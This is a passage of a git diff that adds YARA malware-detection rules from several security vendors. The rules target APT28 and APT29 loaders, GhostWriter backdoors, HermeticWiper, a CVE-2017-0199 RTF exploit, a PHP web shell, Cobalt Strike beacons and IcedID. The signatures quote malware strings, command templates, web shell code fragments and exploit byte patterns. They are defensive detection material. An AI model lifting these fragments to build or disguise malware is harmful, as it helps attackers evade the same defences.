+$xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 }
+condition:
+uint16(0) == 0x5a4d and pe.is_dll() and filesize < 100KB and $xor_cycle and $heap_ops and
+$enc_string
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Launcher.yar b/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Launcher.yar
new file mode 100644
index 0000000..a055f34
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Launcher.yar	
@@ -0,0 +1,19 @@
+rule APT28_SkinnyBoy_Launcher: RUSSIAN THREAT ACTOR {
+meta:
+author = "Cluster25"
+hash1 ="2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
+report = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/2021-05_FancyBear.pdf"
+strings:
+$sha = {F4 EB 56 52 AF 4B 48 EE 08 FF 9D 44 89 4B D5 66 24 61 2A 15 1D 58 14 F9 6D 97
+13 2C 6D 07 6F 86}
+$l1 = "CryptGetHashParam" ascii
+$l2 = "CryptCreateHash" ascii
+$l3 = "FindNextFile" ascii
+$l4 = "PathAddBackslashW" ascii
+$l5 = "PathRemoveFileSpecW" ascii
+$h1 = {50 6A 00 6A 00 68 0C 80 00 00 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A 00
+56 ?? ?? ?? ?? 50 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ??}
+$h2 = {8B 01 3B 02 75 10 83 C1 04 83 C2 04 83 EE 04 73 EF}
+condition:
+uint16(0) == 0x5a4d and filesize < 100KB and ($sha or (all of ($l*) and all of ($h*)))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/APT29_HTMLSmuggling_ZIP_82733_00001.yar b/yara-mikesxrs/Cluster 25/APT29_HTMLSmuggling_ZIP_82733_00001.yar
new file mode 100644
index 0000000..ab34b2e
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/APT29_HTMLSmuggling_ZIP_82733_00001.yar	
@@ -0,0 +1,16 @@
+rule APT29_HTMLSmuggling_ZIP_82733_00001 {
+meta:
+author = "Cluster25"
+description = "Rule to detect the EnvyScout HTML smuggling with ZIP payload used in the APT29/Nobelium APT29 chain"
+date = "2022-05-12"
+hash = "d5c84cbd7dc70e71f3eb24434a58b2f149d0c39faa7e4157552b60c7dbb53d11"
+report = "https://blog.cluster25.duskrise.com/2022/05/13/cozy-smuggled-into-the-box"
+strings:
+$s1 = "new Blob("
+$s2 = "new Uint8Array("
+$s3 = "application/octet-stream"
+$t1 = "saveAs("
+$t2 = "download("
+$r1 = { 66 6F 72 28 76 61 72 20 69 20 3D 20 30 78 30 3B 20 69 20 3C 20 64 5B 27 6C 65 6E 67 74 68 27 5D 3B 20 69 2B 2B 29 20 7B 0A 20 20 20 20 64 5B 69 5D 20 3D 20 64 5B 69 5D }
+condition: (filesize > 500KB and all of ($s*) and ($t1 or $t2) and $r1)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/APT29_Loader_87221_00001.yar b/yara-mikesxrs/Cluster 25/APT29_Loader_87221_00001.yar
new file mode 100644
index 0000000..7f34f50
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/APT29_Loader_87221_00001.yar	
@@ -0,0 +1,28 @@
+import "pe"
+rule APT29_Loader_87221_00001 {
+    meta:
+        author = "Cluster25"
+        tlp = "white"
+        description = "Detects DLL loader variants used in Nobelium kill-chain"
+        hash1 = "6fc54151607a82d5f4fae661ef0b7b0767d325f5935ed6139f8932bc27309202"
+        hash2 = "23a09b74498aea166470ea2b569d42fd661c440f3f3014636879bd012600ed68"
+        report = "https://blog.cluster25.duskrise.com/2022/05/13/cozy-smuggled-into-the-box"
+    strings:
+        $s1 = "%s\\blank.pdf" fullword ascii
+        $s2 = "%s\\AcroSup" fullword ascii
+        $s3 = "vcruntime140.dll" fullword ascii
+        $s4 = "ME3.99.5UUUUUUUUUUU" fullword ascii
+        $c1 = "Rock" fullword ascii
+        $c2 = ".mp3" fullword ascii
+        $c3 = "%s.backup" fullword ascii
+        $sequence1 = { C7 45 ?? 0B 00 10 00 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8D 55 ?? 48 89 75 ?? 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8B CF FF 15 ?? ?? ?? 00 } // Thread contect change
+        $sequence2 = { 0F B6 0B 4C 8D 05 ?? ?? ?? 00 89 4C 24 ?? 4D 8B CD 49 8B CD BA 04 01 00 00 E8 ?? ?? ?? ?? 48 8D 5B 01 48 83 EF 01 75 ?? } // encoding cycle
+        $sequence3 = { 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 44 8D 40 ?? 48 03 CD 44 89 A4 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 8B 43 ?? 44 8B 43 ?? 4A 8D 14 38 48 8D 0C 28 E8 ?? ?? 00 00 8B 4B ?? 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 48 03 CD 44 8B 84 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 } //DLL Unhook
+        $sequence4 = { 42 0F B6 8C 32 ?? ?? ?? 00 48 83 C2 03 88 0F 48 8D 7F 01 48 83 FA 2D 7C E7 } // get domain name string
+    condition:
+        uint16(0) == 0x5a4d and filesize < 200KB
+            and pe.imports("kernel32.dll", "SetThreadContext") and pe.imports("kernel32.dll", "ResumeThread") and pe.imports("kernel32.dll", "K32GetModuleFileNameExA")
+            and 3 of ($s*)
+            and all of ($c*)
+            and 3 of ($sequence*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/GhostWriter_MicroBackdoor_72632_00001.yar b/yara-mikesxrs/Cluster 25/GhostWriter_MicroBackdoor_72632_00001.yar
new file mode 100644
index 0000000..2a56412
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/GhostWriter_MicroBackdoor_72632_00001.yar	
@@ -0,0 +1,15 @@
+rule GhostWriter_MicroBackdoor_72632_00001 {
+meta:
+author = "Cluster25"
+hash1 = "559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91"
+tlp = "white"
+report = "https://blog.cluster25.duskrise.com/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine"
+strings:
+$ = "cmd.exe /C \"%s%s\"" fullword wide
+$ = "client.dll" fullword ascii
+$ = "ERROR: Unknown command" fullword ascii
+$ = " *** ERROR: Timeout occured" fullword ascii
+$ = "%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
+$ = "MIIDazCCAlOgAwIBAgIUWOftflCclQXpmWMnL1ewj2F5Y1AwDQYJKoZIhvcNAQEL" fullword ascii
+condition: (uint16(0) == 0x5a4d and all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/GhostWriter_MicroLoader_72632_00001.yar b/yara-mikesxrs/Cluster 25/GhostWriter_MicroLoader_72632_00001.yar
new file mode 100644
index 0000000..b66ffd5
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/GhostWriter_MicroLoader_72632_00001.yar	
@@ -0,0 +1,14 @@
+rule GhostWriter_MicroLoader_72632_00001 {
+meta:
+author = "Cluster25"
+hash1 = "e97f1d6ec1aa3f7c7973d57074d1d623833f0e9b1c1e53f81af92c057a1fdd72"
+tlp = "white"
+report = "https://blog.cluster25.duskrise.com/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine"
+strings:
+$ = "ajf09aj2.dll" fullword wide
+$ = "regsvcser" fullword ascii
+$ = "X l.dlT" fullword ascii
+$ = "rtGso9w|4" fullword ascii
+$ = "ajlj}m${<" fullword ascii
+condition: (uint16(0) == 0x5a4d and all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/UNC1222_HermeticWiper_23433_10001.yar b/yara-mikesxrs/Cluster 25/UNC1222_HermeticWiper_23433_10001.yar
new file mode 100644
index 0000000..8db79b5
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/UNC1222_HermeticWiper_23433_10001.yar	
@@ -0,0 +1,17 @@
+rule UNC1222_HermeticWiper_23433_10001 {
+meta:
+date = "2022-02-23"
+description = "Detects HermeticWiper variants by internal strings"
+author = "Cluster25"
+tlp = "white"
+hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
+hash2 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+report = "https://blog.cluster25.duskrise.com/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware"
+strings:
+$ = "tdrv.pdb" fullword ascii
+$ = "\\\\.\\EPMNTDRV\\%u" fullword wide
+$ = "PhysicalDrive%u" fullword wide
+$ = "Hermetica Digital Ltd"
+condition:
+(uint16(0) == 0x5a4d and all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/UNC1222_HermeticWiper_23433_10002.yar b/yara-mikesxrs/Cluster 25/UNC1222_HermeticWiper_23433_10002.yar
new file mode 100644
index 0000000..7f4d7d8
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/UNC1222_HermeticWiper_23433_10002.yar	
@@ -0,0 +1,41 @@
+import "pe"
+rule UNC1222_HermeticWiper_23433_10002 {
+meta:
+date = "2022-02-23"
+description = "Detects HermeticWiper variants by internal strings"
+hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
+hash2 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+tlp = "white"
+report = "https://blog.cluster25.duskrise.com/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware"
+strings:
+$p1 = "$INDEX_ALLOCATION" wide
+$p2 = "$I30" wide
+$p3 = "$DATA" wide
+$p4 = "$logfile" wide
+$p5 = "$bitmap" wide
+$s1 = "PhysicalDrive%u" wide
+$s2 = "EPMNTDRV" wide
+$s3 = "SYSVOL" wide
+$s4 = "SYSTEM\\CurrentControlSet\\Control\\CrashControl" wide
+$s5 = "CrashDumpEnabled" wide
+$s6 = "NTFS" ascii
+$s7 = "FAT" ascii
+$s8 = "OpenSCManager" ascii
+$s9 = "SeBackupPrivilege" wide
+$s10 = "SeLoadDriverPrivilege" wide
+$s11 = "RCDATA" wide
+// LookupPrivilegeValueW routine
+$r1 = { 85 35 2C 50 40 00 C7 84 ?? ?? ?? ?? 77 00 6E 00 C7 84 ?? ?? ?? ?? 50 00 72 00 8D 43 04 50 8D 44 24 44 50 6A 00 FF D6 8D 43 10 50 68 A8 55 40 00 6A 00 FF D6 6A 00 6A 00 6A 00 53 C7 03 02 00 00 00 6A 00 }
+// AdjustTokenPrivileges routine
+$r2 = { C7 43 0C 02 00 00 00 C7 43 18 02 00 00 00 FF 74 24 24 FF 15 28 50 40 00 FF D7 85 C0 75 0F }
+// OpenSCManagerW (DatabaseName: "ServicesActive") routine
+$r3 = { 68 ?? 3f 00 0f 00 68 ?? 80 55 44 00 33 f6 56 ff 15 24 50 40 00 89 44 24 10 85 C0 75 06 }
+// OpenServiceW (ServiceName: "vss") routine
+$r4 = { 68 ?? 58 40 00 50 FF 15 20 50 40 00 8B D8 85 DB 75 0C }
+// ChangeServiceConfigW routine
+$r5 = { 6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 6A FF 6A 04 6A 10 53 FF 15 14 50 40 00 85 C0 75 04 }
+// CreateThread/CreateEventW and InitializeShutdownW routine
+$r6 = { 8B 35 ?? ?? ?? ?? 8D 44 ?? ?? 6A 00 6A 00 50 68 ?? ?? 40 00 6A 00 6A 00 89 7C ?? ?? FF D6 6A 00 6A 00 6A 01 6A 00 89 44 ?? ?? FF 15 ?? ?? ?? ?? 6A 00 6A 00 89 44 ?? ?? 8D 44 ?? ?? 50 68 D0 34 40 00 6A 00 6A 00 FF D6 8B 3D D4 ?? ?? ?? 6B D8 85 DB 74 0A }
+condition:
+uint16(0)==0x5a4d and pe.imports("lz32.dll") and filesize < 200KB and (2 of ($p*) and (all of ($s*) or (6 of ($s*) and any of ($r*)) or 4 of ($r*)))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/sidewinder_apt_rtf_cve_2017_0199.yar b/yara-mikesxrs/Cluster 25/sidewinder_apt_rtf_cve_2017_0199.yar
new file mode 100644
index 0000000..27ae624
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/sidewinder_apt_rtf_cve_2017_0199.yar	
@@ -0,0 +1,18 @@
+import "pe"
+rule sidewinder_apt_rtf_cve_2017_0199{
+meta:
+author = "Cluster25"
+date = "2021-09-09"
+hash1 = "282367417cdc711fbad33eb6988c172c61a9a57d9f926addaefabc36cac3c004"
+hash2 = "6d021166bdde0eab22fd4a9f398fdd8ccf8b977ff33a77c518f8d16e56d3eeee"
+report = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/a_rattlesnake_in_the_navy.pdf"
+strings:
+$head = "{\\rtf1" ascii
+$obj = "objdata 0105000002000000" ascii
+$expl = "6D007300680074006D006C000000FFD7E8130000006E756E48544D4C4170706C69636174696F6E" ascii
+$s1 = "416374697665584F626A656374" ascii nocase
+$s2 = "5176524d384b4e4734504332565a55753765497764426f72686974366761416259796d356c4563306a4453576e585431334a7173467870484f666b7a4c392b2f3d" ascii nocase
+$s3 = "62203e3e2031362026203235352c2062203e3e20382026203235352c2062202620323535" ascii nocase
+condition:
+$head at 0 and $obj and $expl and 2 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/CyberDefenses/installmonstr.yar b/yara-mikesxrs/CyberDefenses/installmonstr.yar
new file mode 100644
index 0000000..a1ea795
--- /dev/null
+++ b/yara-mikesxrs/CyberDefenses/installmonstr.yar
@@ -0,0 +1,22 @@
+rule installmonstr {
+meta:
+		description = "adware, trojan, riskware"
+		author = "Monty St John"
+		company = "Cyberdefenses, inc."
+		date = "2017/01/25"
+		hash1 = "000be3b9991eaf28b3794d96ce08e883"
+		hash2 = "1c21a4b1151921398b2c2fe9ea9892f8"
+		hash3 = "be6eb42ea9e789d2a4425f61155f4664"
+		hash4 = "001dd4fdd6973f4e6cb9d11bd9ba7eb3"
+		
+strings:
+	$a = "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL=%0:s\">"
+	$b = "%s<input type=\"hidden\" name=\"%s\" value=\"%s\">%s"
+	$c = "GoIdHTTPWork"
+	$d = "sslvSSLv2sslvSSLv23sslvSSLv3sslvTLSv1"
+	$e = "sslvSSLv23	sslvSSLv3	sslvTLSv1"
+	$f = "AES:ALL:!aNULL:!eNULL:+RC4:@STRENGTH"
+
+condition:
+  5 of them 
+}
diff --git a/yara-mikesxrs/CyberDefenses/u34.yar b/yara-mikesxrs/CyberDefenses/u34.yar
new file mode 100644
index 0000000..a61c94d
--- /dev/null
+++ b/yara-mikesxrs/CyberDefenses/u34.yar
@@ -0,0 +1,15 @@
+rule php_shell_U34 {
+meta:
+		description = "Web Shell - file ans.php"
+		author = "Monty St John"
+		company = "Cyberdefenses, inc."
+		date = "2017/01/25"
+		hash = "5be3b1bc76677a70553a66575f289a0a"
+strings:
+$a = "'\".((strpos(@$_POST['"
+$b = "'],\"\\n\")!==false)?'':htmlspecialchars(@$_POST['"
+$c = "'],ENT_QUOTES)).\"';"
+$d = "posix_getpwuid"
+condition:
+  all of them 
+}
diff --git a/yara-mikesxrs/CyberDefenses/wirenet_dropper.yar b/yara-mikesxrs/CyberDefenses/wirenet_dropper.yar
new file mode 100644
index 0000000..8a5b609
--- /dev/null
+++ b/yara-mikesxrs/CyberDefenses/wirenet_dropper.yar
@@ -0,0 +1,16 @@
+rule wirenet_dropper
+ {
+meta:
+  description = "Wirenet backdoor dropper Invoice_SKMBT_20170601.doc"
+  author = "Chris Rogers"
+  company = "Cyberdefenses, inc."
+  date = "2017/07/11"
+  hash = "954d7c15577f118171cc8adcc9f9ac94"
+strings:
+$a = "C:\Users\user\Desktop\JAVA\docinvoice.exe"
+$b = "C:\Users\user\AppData\Local\Temp\docinvoice.exe"
+$c = "ZTUWVSPRTj"
+$d = "IE(AL("%s",4),"AL(\"%0:s\",3)""
+condition:
+  all of them 
+} 
diff --git a/yara-mikesxrs/DFIR_Report/CobaltStrike.yar b/yara-mikesxrs/DFIR_Report/CobaltStrike.yar
new file mode 100644
index 0000000..78a00c4
--- /dev/null
+++ b/yara-mikesxrs/DFIR_Report/CobaltStrike.yar
@@ -0,0 +1,233 @@
+/*
+https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
+*/
+
+import "pe"
+
+rule CS_default_exe_beacon_stager {
+meta:
+description = "Remote CS beacon execution as a service - spoolsv.exe"
+author = "TheDFIRReport"
+date = "2021-07-13"
+hash1 = "f3dfe25f02838a45eba8a683807f7d5790ccc32186d470a5959096d009cc78a2"
+strings:
+$s1 = "windir" fullword ascii
+$s2 = "rundll32.exe" fullword ascii
+$s3 = "VirtualQuery failed for %d bytes at address %p" fullword ascii
+$s4 = "msvcrt.dll" fullword wide
+condition:
+uint16(0) == 0x5a4d and filesize < 800KB and (pe.imphash() == "93f7b1a7b8b61bde6ac74d26f1f52e8d" and
+3 of them ) or ( all of them )
+}
+
+rule tdr615_exe { 
+meta: 
+description = "Cobalt Strike on beachhead: tdr615.exe" 
+author = "TheDFIRReport" 
+reference = "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/" 
+date = "2021-07-07" 
+hash1 = "12761d7a186ff14dc55dd4f59c4e3582423928f74d8741e7ec9f761f44f369e5" 
+strings: 
+$a1 = "AppPolicyGetProcessTerminationMethod" fullword ascii 
+$a2 = "I:\\RoDcnyLYN\\k1GP\\ap0pivKfOF\\odudwtm30XMz\\UnWdqN\\01\\7aXg1kTkp.pdb" fullword ascii 
+$b1 = "ealagi@aol.com0" fullword ascii 
+$b2 = "operator co_await" fullword ascii 
+$b3 = "GetModuleHandleRNtUnmapViewOfSe" fullword ascii 
+$b4 = "RtlExitUserThrebNtFlushInstruct" fullword ascii 
+$c1 = "Jersey City1" fullword ascii 
+$c2 = "Mariborska cesta 971" fullword ascii 
+condition: 
+uint16(0) == 0x5a4d and filesize < 10000KB and 
+any of ($a* ) and 2 of ($b* ) and any of ($c* ) 
+}
+import "pe"
+
+rule CS_DLL {
+meta:
+description = "62.dll"
+author = "TheDFIRReport"
+reference = "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/"
+date = "2021-07-07"
+hash1 = "8b9d605b826258e07e63687d1cefb078008e1a9c48c34bc131d7781b142c84ab"
+strings:
+$s1 = "Common causes completion include incomplete download and damaged media" fullword ascii
+$s2 = "StartW" fullword ascii
+$s4 = ".rdata$zzzdbg" fullword ascii
+condition:
+uint16(0) == 0x5a4d and filesize < 70KB and ( pe.imphash() == "42205b145650671fa4469a6321ccf8bf" )
+or (all of them)
+}
+
+rule conti_cobaltstrike_192145_icju1_0 {
+meta:
+description = "files - from files 192145.dll, icju1.exe"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2021-05-09"
+hash1 = "29bc338e63a62c24c301c04961084013816733dad446a29c20d4413c5c818af9"
+hash2 = "e54f38d06a4f11e1b92bb7454e70c949d3e1a4db83894db1ab76e9d64146ee06"
+strings:
+$x1 = "cmd.exe /c echo NGAtoDgLpvgJwPLEPFdj>\"%s\"&exit" fullword ascii
+$s2 = "veniamatquiest90.dll" fullword ascii
+$s3 = "Quaerat magni assumenda nihil architecto labore ullam autem unde temporibus mollitia illum" fullword ascii
+$s4 = "Quaerat tempora culpa provident" fullword ascii
+$s5 = "Dolores ullam tempora error distinctio ut natus facere quibusdam" fullword ascii
+$s6 = "Velit consequuntur quisquam tempora error" fullword ascii
+$s7 = "Corporis minima omnis qui est temporibus sint quo error magnam" fullword ascii
+$s8 = "Quo omnis repellat ut expedita temporibus eius fuga error" fullword ascii
+$s9 = "Officia sit maiores deserunt nobis tempora deleniti aut et quidem fugit" fullword ascii
+$s10 = "Rerum tenetur sapiente est tempora qui deserunt" fullword ascii
+$s11 = "Sed nulla quaerat porro error excepturi" fullword ascii
+$s12 = "Aut tempore quo cumque dicta ut quia in" fullword ascii
+$s13 = "Doloribus commodi repudiandae voluptates consequuntur neque tempora ut neque nemo ad ut" fullword ascii
+$s14 = "Tempore possimus aperiam nam mollitia illum hic at ut doloremque" fullword ascii
+$s15 = "Et quia aut temporibus enim repellat dolores totam recusandae repudiandae" fullword ascii
+$s16 = "Dolorum eum ipsum tempora non et" fullword ascii
+$s17 = "Quas alias illum laborum tempora sit est rerum temporibus dicta et" fullword ascii
+$s18 = "Sed velit ipsa et dolor tempore sunt nostrum" fullword ascii
+$s19 = "Veniam voluptatem aliquam et eaque tempore tenetur possimus" fullword ascii
+$s20 = "Possimus suscipit placeat dolor quia tempora voluptas qui fugiat et accusantium" fullword ascii
+condition:
+( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 4 of them )
+) or ( all of them )
+}
+
+rule cobalt_strike_tmp01925d3f {
+meta:
+description = "files - file ~tmp01925d3f.exe"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2021-02-22"
+hash1 = "10ff83629d727df428af1f57c524e1eaddeefd608c5a317a5bfc13e2df87fb63"
+strings:
+$x1 = "C:\\Users\\hillary\\source\\repos\\gromyko\\Release\\gromyko.pdb" fullword ascii
+$x2 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware string 'lld.0-2-1l-hcnys-eroc-niw-sm-ipa' */
+$s3 = "gromyko32.dll" fullword ascii
+$s4 = "<requestedExecutionLevel level='asInvoker' uiAccess='false'/>" fullword ascii
+$s5 = "AppPolicyGetProcessTerminationMethod" fullword ascii
+$s6 = "https://sectigo.com/CPS0" fullword ascii
+$s7 = "2http://crl.comodoca.com/AAACertificateServices.crl04" fullword ascii
+$s8 = "?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" fullword ascii
+$s9 = "3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" fullword ascii
+$s10 = "http://ocsp.sectigo.com0" fullword ascii
+$s11 = "2http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s" fullword ascii
+$s12 = "2http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#" fullword ascii
+$s13 = "http://www.digicert.com/CPS0" fullword ascii
+$s14 = "AppPolicyGetThreadInitializationType" fullword ascii
+$s15 = "alerajner@aol.com0" fullword ascii
+$s16 = "gromyko.inf" fullword ascii
+$s17 = "operator<=>" fullword ascii
+$s18 = "operator co_await" fullword ascii
+$s19 = "gromyko" fullword ascii
+$s20 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
+condition:
+uint16(0) == 0x5a4d and filesize < 1000KB and
+( pe.imphash() == "1b1b73382580c4be6fa24e8297e1849d" or ( 1 of ($x*) or 4 of them ) )
+}
+
+rule cobalt_strike_TSE28DF {
+meta:
+description = "exe - file TSE28DF.exe"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2021-01-05"
+hash1 = "65282e01d57bbc75f24629be9de126f2033957bd8fe2f16ca2a12d9b30220b47"
+strings:
+$s1 = "mneploho86.dll" fullword ascii
+$s2 = "C:\\projects\\Project1\\Project1.pdb" fullword ascii
+$s3 = "AppPolicyGetProcessTerminationMethod" fullword ascii
+$s4 = "AppPolicyGetThreadInitializationType" fullword ascii
+$s5 = "boltostrashno.nfo" fullword ascii
+$s6 = "operator<=>" fullword ascii
+$s7 = "operator co_await" fullword ascii
+$s8 = ".data$rs" fullword ascii
+$s9 = "tutoyola" fullword ascii
+$s10 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
+$s11 = "vector too long" fullword ascii
+$s12 = "wrong protocol type" fullword ascii /* Goodware String - occured 567 times */
+$s13 = "network reset" fullword ascii /* Goodware String - occured 567 times */
+$s14 = "owner dead" fullword ascii /* Goodware String - occured 567 times */
+$s15 = "connection already in progress" fullword ascii /* Goodware String - occured 567 times */
+$s16 = "network down" fullword ascii /* Goodware String - occured 567 times */
+$s17 = "protocol not supported" fullword ascii /* Goodware String - occured 568 times */
+$s18 = "connection aborted" fullword ascii /* Goodware String - occured 568 times */
+$s19 = "network unreachable" fullword ascii /* Goodware String - occured 569 times */
+$s20 = "host unreachable" fullword ascii /* Goodware String - occured 571 times */
+condition:
+uint16(0) == 0x5a4d and filesize < 700KB and
+( pe.imphash() == "ab74ed3f154e02cfafb900acffdabf9e" or all of them )
+}
+
+rule cobalt_strike_TSE588C {
+meta:
+description = "exe - file TSE588C.exe"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2021-01-05"
+hash1 = "32c13df5d411bf5a114e2021bbe9ffa5062ed1db91075a55fe4182b3728d62fe"
+strings:
+$s1 = "mneploho86.dll" fullword ascii
+$s2 = "C:\\projects\\Project1\\Project1.pdb" fullword ascii
+$s3 = "AppPolicyGetProcessTerminationMethod" fullword ascii
+$s4 = "AppPolicyGetThreadInitializationType" fullword ascii
+$s5 = "boltostrashno.nfo" fullword ascii
+$s6 = "operator<=>" fullword ascii
+$s7 = "operator co_await" fullword ascii
+$s8 = "?7; ?<= <?= 6<" fullword ascii /* hex encoded string 'v' */
+$s9 = ".data$rs" fullword ascii
+$s10 = "tutoyola" fullword ascii
+$s11 = "Ommk~z#K`majg`i4.itg~\".jkhbozk" fullword ascii
+$s12 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
+$s13 = "OVOVPWTOVOWOTF" fullword ascii
+$s14 = "vector too long" fullword ascii
+$s15 = "n>log2" fullword ascii
+$s16 = "\\khk|k|4.fzz~4!!majk d" fullword ascii
+$s17 = "network reset" fullword ascii /* Goodware String - occured 567 times */
+$s18 = "wrong protocol type" fullword ascii /* Goodware String - occured 567 times */
+$s19 = "owner dead" fullword ascii /* Goodware String - occured 567 times */
+$s20 = "connection already in progress" fullword ascii /* Goodware String - occured 567 times */
+condition:
+uint16(0) == 0x5a4d and filesize < 900KB and
+( pe.imphash() == "bb8169128c5096ea026d19888c139f1a" or 10 of them )
+}
+
+rule CS_encrypted_beacon_x86 {
+meta:
+author = "Etienne Maynier tek@randhome.io"
+strings:
+$s1 = { fc e8 ?? 00 00 00 }
+$s2 = { 8b [1-3] 83 c? 04 [0-1] 8b [1-2] 31 }
+condition:
+$s1 at 0 and $s2 in (0..200) and filesize < 300000
+}
+
+rule CS_encrypted_beacon_x86_64 {
+meta:
+author = "Etienne Maynier tek@randhome.io"
+strings:
+$s1 = { fc 48 83 e4 f0 eb 33 5d 8b 45 00 48 83 c5 04 8b }
+condition:
+$s1 at 0 and filesize < 300000
+}
+
+rule CS_beacon {
+meta:
+author = "Etienne Maynier tek@randhome.io"
+
+strings:
+$s1 = "%02d/%02d/%02d %02d:%02d:%02d" ascii
+$s2 = "%s as %s\\%s: %d" ascii
+$s3 = "Started service %s on %s" ascii
+$s4 = "beacon.dll" ascii
+$s5 = "beacon.x64.dll" ascii
+$s6 = "ReflectiveLoader" ascii
+$s7 = { 2e 2f 2e 2f 2e 2c ?? ?? 2e 2c 2e 2f }
+$s8 = { 69 68 69 68 69 6b ?? ?? 69 6b 69 68 }
+$s9 = "%s (admin)" ascii
+$s10 = "Updater.dll" ascii
+$s11 = "LibTomMath" ascii
+$s12 = "Content-Type: application/octet-stream" ascii
+
+condition:
+6 of them and filesize < 300000
+}
diff --git a/yara-mikesxrs/DFIR_Report/Quantum_Case_12647.yar b/yara-mikesxrs/DFIR_Report/Quantum_Case_12647.yar
new file mode 100644
index 0000000..19851d2
--- /dev/null
+++ b/yara-mikesxrs/DFIR_Report/Quantum_Case_12647.yar
@@ -0,0 +1,176 @@
+/*
+YARA Rule Set
+Author: The DFIR Report
+Date: 2022-04-24
+Identifier: Quantum Case 12647
+Reference: https://thedfirreport.com/2022/04/25/quantum-ransomware/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule docs_invoice_173 {
+meta:
+description = "IcedID - file docs_invoice_173.iso"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2022-04-24"
+hash1 = "5bc00ad792d4ddac7d8568f98a717caff9d5ef389ed355a15b892cc10ab2887b"
+strings:
+$x1 = "dar.dll,DllRegisterServer!%SystemRoot%\\System32\\SHELL32.dll" fullword wide
+$x2 = "C:\\Windows\\System32\\rundll32.exe" fullword ascii
+$s3 = "C:\\Users\\admin\\Desktop\\data" fullword wide
+$s4 = "Desktop (C:\\Users\\admin)" fullword wide
+$s5 = "AppPolicyGetProcessTerminationMethod" fullword ascii
+$s6 = "1t3Eo8.dll" fullword ascii
+$s7 = ")..\\..\\..\\..\\Windows\\System32\\rundll32.exe" fullword wide
+$s8 = "DAR.DLL." fullword ascii
+$s9 = "dar.dll:h" fullword wide
+$s10 = "document.lnk" fullword wide
+$s11 = "DOCUMENT.LNK" fullword ascii
+$s12 = "6c484a379420bc181ea93528217b7ebf50eae9cb4fc33fb672f26ffc4ab464e29ba2c0acf9e19728e70ef2833eb4d4ab55aafe3f4667e79c188aa8ab75702520" ascii
+$s13 = "03b9db8f12f0242472abae714fbef30d7278c4917617dc43b61a81951998d867efd5b8a2ee9ff53ea7fa4110c9198a355a5d7f3641b45f3f8bb317aac02aa1fb" ascii
